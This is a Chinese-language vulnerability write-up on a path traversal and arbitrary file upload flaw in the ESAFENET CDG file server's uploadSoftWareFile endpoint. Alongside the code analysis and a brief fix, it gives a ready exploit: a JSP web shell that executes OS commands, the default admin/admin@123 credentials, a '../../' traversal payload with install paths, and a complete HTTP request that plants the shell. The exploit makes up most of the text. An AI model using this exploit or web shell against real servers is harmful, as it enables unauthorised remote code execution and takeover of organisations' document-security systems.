漏洞概述

CDG文件服务器的 uploadSoftWareFile 接口存在路径遍历漏洞和目录控制绕过漏洞。攻击者通过构造特殊请求参数,可以绕过目录访问限制,将恶意文件写入服务器任意可写目录,最终实现远程代码执行(RCE)。

漏洞代码分析

问题代码位于 FileController.java:373-479:

@RequestMapping(value = {"/uploadSoftWareFile"}, method = {RequestMethod.POST})
@ResponseBody
public String uploadSoftWareFile(@RequestParam("file") MultipartFile[] uploadfile,
                                 HttpServletRequest request) throws Exception {
    // ... 省略验证代码 ...

    String patch = jsonObject.getString("patch");  // 未验证的参数
    String srcPath = jsonObject.getString("filePath");

    if (!ParamCheckUtil.checkFile(srcPath)) {  // 只检查了filePath,未检查patch
        // 验证失败返回
    }

    if (type == 1) {
        String targetDir;
        if ("ko".equals(linuxPatchType)) {
            targetDir = this.fileService.getDirPath("linux" + File.separator + "tmpKo");
        } else if ("patch".equals(linuxPatchType)) {
            targetDir = this.fileService.getDirPath("linux" + File.separator + "tmpPatch");
        } else {
            targetDir = this.fileService.getDirPath(null);  // 默认: /data/files
        }

        // 关键漏洞点:patch参数未经验证直接使用
        if (null != patch && !"".equals(patch)) {
            targetDir = this.fileService.getDirPath(patch);  // 直接使用用户输入
        }

        String filename = srcPath;  // 直接使用用户输入,未规范化
        targetfile = new File(targetDir, filename);
        file.transferTo(targetfile);  // 任意文件写入
    }
}

漏洞成因

漏洞1:patch 参数未验证

String patch = jsonObject.getString("patch");
// patch参数没有经过ParamCheckUtil.checkFile()验证
if (null != patch && !"".equals(patch)) {
    targetDir = this.fileService.getDirPath(patch);  // 直接使用
}

patch 参数从用户输入的JSON中直接获取,未经过任何安全验证。ParamCheckUtil.checkFile() 只检查了 filePath,没有覆盖 patch 参数。攻击者可以通过 patch 参数指定任意目录,绕过默认的 /data/files 限制。

漏洞2:filePath 路径未规范化

String filename = srcPath;  // 直接使用用户输入
targetfile = new File(targetDir, filename);  // 路径拼接

调试分析

从header中获取content的值,调用 CdgUtils.decodeContent 进行解密:

提取一系列的值:

调用 getusername,从SQLite数据库中查询username,默认为admin:

调用 getpassword,从SQLite数据库中查询password,默认为admin@123:

这里会对filepath进行 ../、..\ 跨目录检测,无法绕过:

进入 getDirPath:

basePath的值是默认的,patch设置为 ../../,返回 /data/files/../../:

这里直接进行拼接了:

调用write,直接写入文件:

返回内容:

如果传入不存在的目录会直接报错,可以据此判断是否写入成功:

修复建议

使用 targetfile.getCanonicalPath().startsWith(baseDir) 进行路径检查:

漏洞利用

利用步骤

1. 构造恶意文件(JSP WebShell)

<%@ page import="java.util.*,java.io.*" %>
<%
String cmd = request.getParameter("cmd");
if (cmd != null) {
    Process p = Runtime.getRuntime().exec(cmd);
    BufferedReader br = new BufferedReader(new InputStreamReader(p.getInputStream()));
    String line;
    while ((line = br.readLine()) != null) {
        out.println(line + "<br>");
    }
}
%>
<form method="post">
<input type="text" name="cmd" value="whoami">
<input type="submit" value="Execute">
</form>

2. 构造JSON Payload

Windows下默认安装路径:

"filePath": "/Program Files (x86)/ESAFENET/CDocGuard Server/tomcat/webapps/CDGServer3/shell.jsp"
"filePath": "/Program Files (x86)/ESAFENET/CDocGuard Server/tomcat64/webapps/CDGServer3/shell.jsp"
"filePath": "/Program Files/ESAFENET/CDocGuard Server/tomcat/webapps/CDGServer3/shell.jsp"
"filePath": "/Program Files/ESAFENET/CDocGuard Server/tomcat64/webapps/CDGServer3/shell.jsp"
"filePath": "/ESAFENET/CDocGuard Server/tomcat/webapps/CDGServer3/shell.jsp"
"filePath": "/ESAFENET/CDocGuard Server/tomcat64/webapps/CDGServer3/shell.jsp"
{
    "patch": "../../",
    "filePath": "/Program Files (x86)/ESAFENET/CDocGuard Server/tomcat/webapps/CDGServer3/shell.jsp",
    "userName": "admin",
    "pwd": "admin@123",
    "loginName": "testuser",
    "timestamp": 1704067200,
    "type": 1,
    "totalSize": 1024,
    "md5": "11765C012DF192553919A2E0043357D3"
}

3. 加密content(使用 CdgUtils.encodeContent())

4. 发送请求

POST /file/uploadSoftWareFile HTTP/1.1
Host: 192.168.92.137:8021
User-Agent: python-requests/2.32.5
Accept-Encoding: gzip, deflate, br
Accept: */*
Connection: keep-alive
content: PIEKLCDJKLELJDPPPJFMFGGMBLMBKFNAFFGODFGKEGFAPBCIBANEGPHAGHLCLDDDEDDAIBMCFGLBCPHLPJILALCNOFKLLBMADFAAGGKOMABAIPGMLLCCPNBENIBDBENBNKIIIMAAOIMFFJJGLIMDIDLPJLGBLMFEOBNHHFHFPHHLCJOBNAPKKHPNECKCDIIIMLJHCIJOJHOJPKGIPMPHFGEALPHNNOMLLLOHHCPIIONAENJMCCDDMIPEPHIEKMHFDJLEBCPMBOGIBKEBMOPOJLDJADHKECDNKJLDKEBBHEEOKOLEDMGDHFJHLKEJEHDGNFJAHLKCCGEACKNIOLOHGCJBEIOLNOMALCFEIPCLDCINMDIBMBNAMLGMCCCMCJHHHFNHHBLIOAMCODBKOFNHMHCGDMMNAEPGAPGGHMKOMHCKCMLCBMCCFCFGPGLLFAKMDEGPFNDBJODJBHPEFDAPEDBMKLOEDLPPEJIOKLADDNOMGLPLMOHCFBJAFMDACFBDCCCBCGCDDPCFBDGJ
Content-Length: 188
Content-Type: multipart/form-data; boundary=4dd6fd58c52e51c8913cb174a978d7c1

--4dd6fd58c52e51c8913cb174a978d7c1
Content-Disposition: form-data; name="file"; filename="test.txt"
Content-Type: application/octet-stream

<%@ page import="java.util.*,java.io.*" %>
<%
String cmd = request.getParameter("cmd");
if (cmd != null) {
    Process p = Runtime.getRuntime().exec(cmd);
    BufferedReader br = new BufferedReader(new InputStreamReader(p.getInputStream()));
    String line;
    while ((line = br.readLine()) != null) {
        out.println(line + "<br>");
    }
}
%>
<form method="post">
<input type="text" name="cmd" value="whoami">
<input type="submit" value="Execute">
</form>

--4dd6fd58c52e51c8913cb174a978d7c1--